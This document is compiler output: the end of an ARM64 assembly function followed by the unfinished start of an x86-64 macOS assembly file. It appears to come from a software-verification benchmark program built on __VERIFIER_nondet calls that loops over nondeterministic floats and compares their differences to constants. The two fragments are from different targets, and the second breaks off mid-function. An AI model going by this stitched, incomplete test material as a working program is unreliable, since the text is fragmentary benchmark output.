fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_110 LBB1_110: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_111 LBB1_111: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_112 LBB1_112: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_113 LBB1_113: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-32] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_119 b LBB1_114 LBB1_114: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_119 b LBB1_115 LBB1_115: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-19.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_119 b LBB1_116 LBB1_116: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_119 b LBB1_117 LBB1_117: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_119 b LBB1_118 LBB1_118: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-56] fcvt d2, s0 ldur s0, [x29, #-20] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_119 LBB1_119: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_120 LBB1_120: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_121 LBB1_121: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-2.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_122 LBB1_122: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_123 LBB1_123: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_124 LBB1_124: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_125 LBB1_125: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-3.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_131 b LBB1_126 LBB1_126: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_131 b LBB1_127 LBB1_127: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-2.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_131 b LBB1_128 LBB1_128: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #80] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_131 b LBB1_129 LBB1_129: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-64] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_131 b LBB1_130 LBB1_130: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-52] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-8.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_131 LBB1_131: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_132 LBB1_132: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_133 LBB1_133: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_134 LBB1_134: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_135 LBB1_135: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_136 LBB1_136: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_137 LBB1_137: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_143 b LBB1_138 LBB1_138: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #72] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-16.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_143 b LBB1_139 LBB1_139: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-20.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_143 b LBB1_140 LBB1_140: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-14.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_143 b LBB1_141 LBB1_141: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_143 b LBB1_142 LBB1_142: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-8] fcvt d2, s0 ldur s0, [x29, #-76] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-9.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_143 LBB1_143: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_144 LBB1_144: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_145 LBB1_145: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_146 LBB1_146: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_147 LBB1_147: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_148 LBB1_148: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, hi mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_149 LBB1_149: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-72] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-18.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_155 b LBB1_150 LBB1_150: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-48] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-6.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_155 b LBB1_151 LBB1_151: ; in Loop: Header=BB1_3 Depth=1 ldur s0, [x29, #-16] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_155 b LBB1_152 LBB1_152: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #48] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-12.00000000 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_155 b LBB1_153 LBB1_153: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #56] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d0, s0 fmov d1, #-1.00000000 fmadd d0, d1, d0, d2 fcmp d0, d1 cset w8, eq tbnz w8, #0, LBB1_155 b LBB1_154 LBB1_154: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #64] fcvt d2, s0 ldur s0, [x29, #-36] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-17.00000000 fcmp d0, d1 cset w8, ne mov w9, #0 str w9, [sp, #24] ; 4-byte Folded Spill tbnz w8, #0, LBB1_162 b LBB1_155 LBB1_155: ; in Loop: Header=BB1_3 Depth=1 ldur w8, [x29, #-40] str w8, [sp, #16] ; 4-byte Folded Spill ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, ne mov w9, #1 str w9, [sp, #20] ; 4-byte Folded Spill tbnz w8, #0, LBB1_157 b LBB1_156 LBB1_156: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #76] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi str w8, [sp, #20] ; 4-byte Folded Spill b LBB1_157 LBB1_157: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #16] ; 4-byte Folded Reload ldr w9, [sp, #20] ; 4-byte Folded Reload and w9, w9, #0x1 subs w8, w8, w9 cset w8, ne mov w9, #0 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB1_161 b LBB1_158 LBB1_158: ; in Loop: Header=BB1_3 Depth=1 ldur w8, [x29, #-24] str w8, [sp, #4] ; 4-byte Folded Spill ldur w8, [x29, #-44] subs w8, w8, #0 cset w8, ne mov w9, #1 str w9, [sp, #8] ; 4-byte Folded Spill tbnz w8, #0, LBB1_160 b LBB1_159 LBB1_159: ; in Loop: Header=BB1_3 Depth=1 ldr s0, [sp, #76] fcvt d2, s0 ldr s0, [sp, #60] fcvt d1, s0 fmov d0, #-1.00000000 fmadd d0, d0, d1, d2 fmov d1, #-11.00000000 fcmp d0, d1 cset w8, hi str w8, [sp, #8] ; 4-byte Folded Spill b LBB1_160 LBB1_160: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #4] ; 4-byte Folded Reload ldr w9, [sp, #8] ; 4-byte Folded Reload eor w9, w9, #0x1 and w9, w9, #0x1 subs w8, w8, w9 cset w8, eq str w8, [sp, #12] ; 4-byte Folded Spill b LBB1_161 LBB1_161: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload str w8, [sp, #24] ; 4-byte Folded Spill b LBB1_162 LBB1_162: ; in Loop: Header=BB1_3 Depth=1 ldr w8, [sp, #24] ; 4-byte Folded Reload and w8, w8, #0x1 str w8, [sp, #36] ldur s0, [x29, #-12] stur s0, [x29, #-8] ldur s0, [x29, #-20] stur s0, [x29, #-16] ldur w8, [x29, #-28] stur w8, [x29, #-24] ldur s0, [x29, #-36] stur s0, [x29, #-32] ldur w8, [x29, #-44] stur w8, [x29, #-40] ldur s0, [x29, #-52] stur s0, [x29, #-48] ldur s0, [x29, #-60] stur s0, [x29, #-56] ldur s0, [x29, #-68] stur s0, [x29, #-64] ldur s0, [x29, #-76] stur s0, [x29, #-72] ldr s0, [sp, #76] str s0, [sp, #80] ldr s0, [sp, #68] str s0, [sp, #72] ldr s0, [sp, #60] str s0, [sp, #64] ldr s0, [sp, #52] str s0, [sp, #56] ldr s0, [sp, #44] str s0, [sp, #48] b LBB1_3 LBB1_163: ldur w0, [x29, #-4] ldp x29, x30, [sp, #160] ; 16-byte Folded Reload add sp, sp, #176 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl ___VERIFIER_nondet_bool ## -- Begin function __VERIFIER_nondet_bool .p2align 4, 0x90 ___VERIFIER_nondet_bool: ## @__VERIFIER_nondet_bool .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq ___VERIFIER_nondet_int cmpl $0, %eax setne %al andb $1, %al movzbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__literal8,8byte_literals .p2align 3 ## -- Begin function main LCPI1_0: .quad 0x4028000000000000 ## double 12 LCPI1_1: .quad 0xc026000000000000 ## double -11 LCPI1_2: .quad 0xc02c000000000000 ## double -14 LCPI1_3: .quad 0xc018000000000000 ## double -6 LCPI1_4: .quad 0xc031000000000000 ## double -17 LCPI1_5: .quad 0xc020000000000000 ## double -8 LCPI1_6: .quad 0xc02e000000000000 ## double -15 LCPI1_7: .quad 0xc030000000000000 ## double -16 LCPI1_8: .quad 0xc008000000000000 ## double -3 LCPI1_9: .quad 0xbff0000000000000 ## double -1 LCPI1_10: .quad 0xc02a000000000000 ## double -13 LCPI1_11: .quad 0xc014000000000000 ## double -5 LCPI1_12: .quad 0xc01c000000000000 ## double -7 LCPI1_13: .quad 0xc034000000000000 ## double -20 LCPI1_14: .quad 0xc010000000000000 ## double -4 LCPI1_15: .quad 0xc022000000000000 ## double -9 LCPI1_16: .quad 0xc032000000000000 ## double -18 LCPI1_17: .quad 0xc033000000000000 ## double -19 LCPI1_18: .quad 0xc000000000000000 ## double -2 LCPI1_19: .quad 0xc028000000000000 ## double -12 .section __TEXT,__text,regular,pure_instructions .globl _main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $144, %rsp movl $0, -4(%rbp) callq ___VERIFIER_nondet_int movl %eax, -120(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -8(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -16(%rbp) callq ___VERIFIER_nondet_bool movl %eax, -24(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -32(%rbp) callq ___VERIFIER_nondet_bool movl %eax, -40(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -48(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -56(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -64(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -72(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -80(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -88(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -96(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -104(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -112(%rbp) movss -56(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -32(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movb $1, %al movsd LCPI1_0(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -125(%rbp) ## 1-byte Spill jae LBB1_2 ## %bb.1: cmpl $0, -24(%rbp) setne %al movb %al, -125(%rbp) ## 1-byte Spill LBB1_2: movb -125(%rbp), %al ## 1-byte Reload xorb $-1, %al andb $1, %al movzbl %al, %eax movl %eax, -124(%rbp) LBB1_3: ## =>This Inner Loop Header: Depth=1 xorl %eax, %eax ## kill: def $al killed $al killed $eax cmpl $0, -120(%rbp) movb %al, -126(%rbp) ## 1-byte Spill jl LBB1_5 ## %bb.4: ## in Loop: Header=BB1_3 Depth=1 cmpl $0, -124(%rbp) setne %al movb %al, -126(%rbp) ## 1-byte Spill LBB1_5: ## in Loop: Header=BB1_3 Depth=1 movb -126(%rbp), %al ## 1-byte Reload testb $1, %al jne LBB1_6 jmp LBB1_163 LBB1_6: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jb LBB1_9 ## %bb.7: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -96(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 movsd LCPI1_1(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 jb LBB1_10 ## %bb.8: ## in Loop: Header=BB1_3 Depth=1 cmpl $0, -40(%rbp) jne LBB1_10 LBB1_9: ## in Loop: Header=BB1_3 Depth=1 callq ___VERIFIER_nondet_int movl %eax, -120(%rbp) jmp LBB1_11 LBB1_10: ## in Loop: Header=BB1_3 Depth=1 movl -120(%rbp), %eax addl $-1, %eax movl %eax, -120(%rbp) LBB1_11: ## in Loop: Header=BB1_3 Depth=1 callq ___VERIFIER_nondet_float movss %xmm0, -12(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -20(%rbp) callq ___VERIFIER_nondet_bool movl %eax, -28(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -36(%rbp) callq ___VERIFIER_nondet_bool movl %eax, -44(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -52(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -60(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -68(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -76(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -84(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -92(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -100(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -108(%rbp) callq ___VERIFIER_nondet_float movss %xmm0, -116(%rbp) movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_2(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.12: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_3(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.13: ## in Loop: Header=BB1_3 Depth=1 movss -88(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_4(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.14: ## in Loop: Header=BB1_3 Depth=1 movss -80(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_5(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.15: ## in Loop: Header=BB1_3 Depth=1 movss -64(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_6(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.16: ## in Loop: Header=BB1_3 Depth=1 movss -8(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm1 movss -68(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 subsd %xmm0, %xmm1 xorl %eax, %eax ## kill: def $al killed $al killed $eax movsd LCPI1_7(%rip), %xmm0 ## xmm0 = mem[0],zero ucomisd %xmm1, %xmm0 movb %al, -127(%rbp) ## 1-byte Spill jb LBB1_162 ## %bb.17: ## in Loop: Header=BB1_3 Depth=1 movss -32(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_2(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_18 jp LBB1_18 jmp LBB1_23 LBB1_18: ## in Loop: Header=BB1_3 Depth=1 movss -72(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero cvtss2sd %xmm0, %xmm0 movss -68(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero cvtss2sd %xmm1, %xmm1 subsd %xmm1, %xmm0 movsd LCPI1_3(%rip), %xmm1 ## xmm1 = mem[0],zero ucomisd %xmm1, %xmm0 jne LBB1_19 jp LBB1_19 